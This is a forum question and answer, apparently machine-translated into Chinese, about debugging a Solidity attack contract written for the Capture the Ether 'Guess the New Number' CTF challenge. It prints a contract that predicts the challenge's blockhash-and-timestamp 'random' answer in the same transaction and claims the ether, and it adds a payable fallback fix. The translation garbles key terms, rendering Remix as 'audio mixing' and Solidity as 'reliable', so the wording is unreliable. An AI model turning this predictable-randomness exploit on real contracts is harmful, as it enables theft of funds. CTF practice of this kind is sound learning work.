氣體估計失敗(混音)
呼叫函式時出現混音“氣體估計失敗”錯誤。我已經閱讀了針對相同錯誤的其他問題,但沒有取得多大成功。在嘗試部署之前,我已經編譯了程式碼。該程式碼沒有任何 for 循環。在 Injected Web3 上部署良好。在 Javascript VM 上它沒有(而不是它說“(MEMORY)”的契約雜湊)。當我嘗試使用 InjectedWeb3 呼叫 trytoguess 函式時,出現“氣體估計失敗”錯誤。在 Javscript VM 上,我收到“與 Hack.trytoguess 的交易錯誤:NotFoundError: Key not found in database
$$ hn $$“。我猜程式碼有問題。 第一份契約來自 CTF,所以我想沒關係。它部署良好:
pragma solidity ^0.4.21; contract GuessTheNewNumberChallenge { function GuessTheNewNumberChallenge() public payable { require(msg.value == 1 ether); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function guess(uint8 n) public payable { require(msg.value == 1 ether); uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)); if (n == answer) { address(msg.sender).transfer(2 ether); } } }
部署後,我在建構子中使用聯繫人地址作為下一個合約的輸入(這個是有問題的):
pragma solidity ^0.4.21; import "./GuessTheNewNumberChallenge.sol"; contract Hack{ address owner; GuessTheNewNumberChallenge challenge_contract; function Hack(address challenge_address) public{ owner = msg.sender; challenge_contract = GuessTheNewNumberChallenge(challenge_address); } function withdraw() public{ require(msg.sender == owner); address(msg.sender).transfer(address(this).balance); } function funds() view public returns (uint256){ return address(this).balance; } function trytoguess() public payable{ uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)); challenge_contract.guess.value(msg.value).gas(100000)(answer); } }
失敗的功能是
trytoguess()
. 我嘗試增加混音和程式碼(最後的 . )的氣體限制,.gas(100000)
但沒有成功。還嘗試將 gas 功能替換為gasleft()
,並完全刪除該行上對 gas 的提及。我知道這都是相當古老的可靠程式碼,但我們適應了最新版本,我遇到了同樣的問題。所以我想這與solidity版本無關。
經過幾個小時的尋找,我可能發現契約工作缺少什麼(我自己是 Solidity 的新手)。為了從另一個合約中接受乙太幣,我們需要一個
payable
備份函式:function () payable { }
我們將主體留空,因為無法將乙太幣轉移到我們的帳戶,因為此功能只能依賴2300可用氣體。轉帳比那更貴。
$$ Source: https://medium.com/@saurfang/lets-play-capture-the-ether-lotteries-part-ii-478365775a34 $$ 可悲的是,我沒有設法找出導致
NotFoundError: Key not found in database [hn]
. 當我使用 JavaScript VM 時,我仍然在 Remix 中得到它。然而,在部署到 Ropsten 後,一切正常。